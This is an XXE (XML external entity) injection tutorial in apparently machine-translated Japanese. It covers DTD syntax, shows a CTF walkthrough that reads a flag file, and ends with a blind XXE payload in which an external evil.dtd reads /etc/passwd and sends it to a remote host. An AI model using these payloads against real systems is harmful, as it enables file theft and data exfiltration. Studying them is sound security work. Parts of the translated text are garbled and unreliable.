XXE(XML外部エンティティインジェクション)は、XML外部エンティティインジェクションの脆弱性です。XXEの脆弱性は、アプリケーションがXML入力を解析しているときに発生し、外部エンティティのロードが禁止されていないため、悪意のある外部ファイルがロードされ、ファイルの読み取り、コマンドの実行、イントラネットポートスキャン、イントラネットWebサイトへの攻撃、dos攻撃の開始が発生する可能性があります。およびその他の危険。XXEの脆弱性は、XMLファイルをアップロードできる場所によって引き起こされることが多く、アップロードされたXMLファイルはフィルタリングされないため、悪意のあるXMLファイルがアップロードされます。
0x001 XML
XMLは、データ情報を送信および伝送するように設計されています。データの表現または表示には使用されません。HTMLはデータの表現に使用されます。したがって、XMLの使用の焦点は、データとは何かを説明し、データ情報を伝送することです。
基本的な文法
- すべてのXML要素には終了タグが必要です。
- XMLタグでは大文字と小文字が区別されます。
- XMLは正しくネストする必要があります。
- XMLドキュメントにはルート要素が必要です。
- XML属性値は引用符で囲む必要があります。
- XMLコメントはHTMLと同じです
<!-- -->
次の表に、5つのXML定義済みエンティティを示します。これらのエンティティを名前で参照するための形式は&name;です。たとえば、&は&として描画されます。
0x002 0x002 DTD
XMLファイルの文書型定義は、1つ以上のXMLファイルのテンプレートと見なすことができます。ここで、XMLファイル内の要素、要素の属性、要素の配置、含まれるコンテンツを定義できます。要素などで。DTDは、正当なXMLドキュメントビルディングブロックを定義できます
<?xml version="1.0"?>
<!DOCTYPE note [<!--定义此文档是 note 类型的文档-->
<!ELEMENT note (nuc,edu)><!--定义note元素有四个元素-->
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
]>
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>
外部DTDを使用する場合、次の構文で導入されます。
<!DOCTYPE root-element SYSTEM "filename">
外部DTDインスタンス
<?xml version="1.0"?>
<!DOCTYPE root-element SYSTEM "test.dtd">
<note>
<nuc>hello</nuc>
<edu>world</edu>
</note>
test.dtd
<!ELEMENT nuc (#PCDATA)><!--定义to元素为”#PCDATA”类型-->
<!ELEMENT edu (#PCDATA)><!--定义from元素为”#PCDATA”类型-->
-PCDATAは、解析された文字データを意味します。PCDATAは、パーサーによって解析されるテキストです。これらのテキストは、パーサーによってエンティティとタグがチェックされます。テキスト内のタグはタグとして扱われ、エンティティが展開されます。
ただし、解析される文字データには&、<、または>文字を含めるべきではなく、&
<
>
エンティティを使用してそれぞれを置き換える必要があります
。CDATAは文字データを意味し、CDATAはパーサーによって解析されないテキストであり、これらのテキストはマークとして扱われ、その中のエンティティは展開されません。
DTD要素の
DTD属性
属性宣言は、次の構文を使用します
<!ATTLIST 元素名称 属性名称 属性类型 默认值>
DTDの例
<!ATTLIST nuc edu PCDATA "hello">
XMLの例
<nuc edu="hello">
DTDエンティティ
DTDは、XMLのドキュメントタイプを定義するために使用されるタグ宣言のセットです。これは、XMLドキュメントの法的構造ブロックと、法的要素および属性のリストを使用したドキュメント構造を定義します。DTDは、XMLドキュメント内で宣言することも、外部参照宣言として宣言することもできます。SYSTEM識別子を使用して、解決可能な場所にある別の宣言セットを指します。ENTITYはSYSTEMキーワードを使用して外部リソースを呼び出すことができます。これは、http; fileなどの多くのプロトコルをサポートするためのものです。次に、他のDoMノードでは、&test;などを使用してエンティティを参照できます。 content。
内部エンティティの例
<?xml version="1.0"?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r "Hu3sky">
]>
<note>
<name>&hack3r;</name>
</note>
DTDエンティティは、通常のテキストまたは特殊文字を引用するためのショートカットを定義するために使用される変数であり、内部で宣言することも、外部で参照することもできます。
内部エンティティ宣言
<!ENTITY 实体名称 "实体的值">
DTDの例:
<!ENTITY writer "me">
XML:
<author>&writer;</author>
注:エンティティーは、アンパサンド(&)、エンティティー名、およびセミコロン(;)の3つの部分で構成されます。
パラメータエンティティ
(1)DTDで定義された%エンティティ名(スペースが少なくない)を使用し、DTDでのみ%エンティティ名を使用できます。参照
(2)DTDファイルでのみ、パラメータエンティティ宣言は他のエンティティを参照できます
(3)一般的なエンティティと同様に、パラメータエンティティも外部から参照できます
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY % param1 "<!ENTITY internal 'http://darkerbox.com'>">//定义参数实体
%param1;//引用参数实体,引用后,值又被xml解析,则internal的值为http://darkerbox.com
]>
<root>
<test>[This is my site] &internal;</test>
</root>
ジェネリックエンティティ
&entity nameで参照されるエンティティ。DTDで定義され、XMLドキュメントで参照されます。
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE xxe [
<!ENTITY test "this is xml" > // 在DTD中定义
]>
<cred>&test;</cred>//在xml文档中引用
パラメトリックエンティティ+外部エンティティ
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
<!ENTITY % name SYSTEM "file:///etc/passwd">
%name;
]>
%name
(パラメータエンティティ)は&name;
、xmlドキュメントで参照されているDTDで参照されています。
外部エンティティ宣言
<!ENTITY 实体名称 SYSTEM "URI/URL">
または
<!ENTITY 实体名称 PUBLIC "public_ID" "URI">
例
DTD:
<!ENTITY writer SYSTEM "http://example.com/dtd/writer.dtd">
XML:
<author>&writer;</author>
外部エンティティタイプには
CDATA
があります。CDATAは、XMLパーサーによって解析されるべきではないテキストデータ(未解析の文字データ)を参照します。
XML要素では、「<」と「&」は無効です。「<」は、パーサーがこの文字を新しい要素の始まりとして解釈するため、エラーを生成します。「&」もエラーを生成します。これは、パーサーが文字を文字エンティティの先頭として解釈するためです。JavaScriptコードなどの一部のテキストには、多くの「<」または「&」文字が含まれています。エラーを回避するために、スクリプトコードをCDATAとして定義できます。CDATAセクションのすべてがパーサーによって無視されます。
CDATA部分は「<![CDATA [」で始まり、「]]>」で終わります。
<?xml version="1.0" encoding="UTF-8"?>
<content><![CDATA[<html></html>]]></content>
結果
XXEは主に、外部エンティティを参照するDTDによって引き起こされる抜け穴を悪用します。
特定の使用方法:
外部エンティティのリモートファイル読み取りを参照し、
任意のファイル
jarvisojを読み取り、
質問のAPI呼び出しこの質問の質問は、ターゲットマシン/home/ctf/flag.txtでフラグ値を取得しようとすることです。
トピックhttp://web.jarvisoj.com:9882/と入力すると、入力ボックスが見つかり、それを
キャプチャしました。jsonデータが見つかり、変更を解析できます。
jsonデータをxmlデータに変更し、xmlフォームインジェクションを作成して、
ここでフラグを取得します。SYSTEM識別子が使用されます。これは、エンティティが外部ソースからコンテンツを取得することを意味します。この場合、コンテンツはfile:///home/ctf/flag.txt
内部値です。
ブラインドXXE
ブラインドXXEは、エコーインジェクションがないことを意味します。
最初にコードの一部を見てください。
<?xml version="1.0"?>
<!DOCTYPE XXE[
<!ENTITY % passwd SYSTEM "/ect/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
&wrapper
]>
<pwn>&send</pwn>
このように、passwdの値を渡すことはできず、entityパラメーターを値で呼び出すことはできません。
解決
main.xml
<?xml version="1.0"?>
<!DOCTYPE data SYSTEM "http://example.com/evil.dtd">
<data>&send;</data>
evil.dtd
<!ENTITY % passwd SYSTEM "file:///etc/passwd">
<!ENTITY % wrapper "<!ENTITY send SYSTEM 'http://example.com/?%passwd'>">
<!ENTITY send SYSTEM 'http://example.com/?CONTENTS_OF_PASSWD'>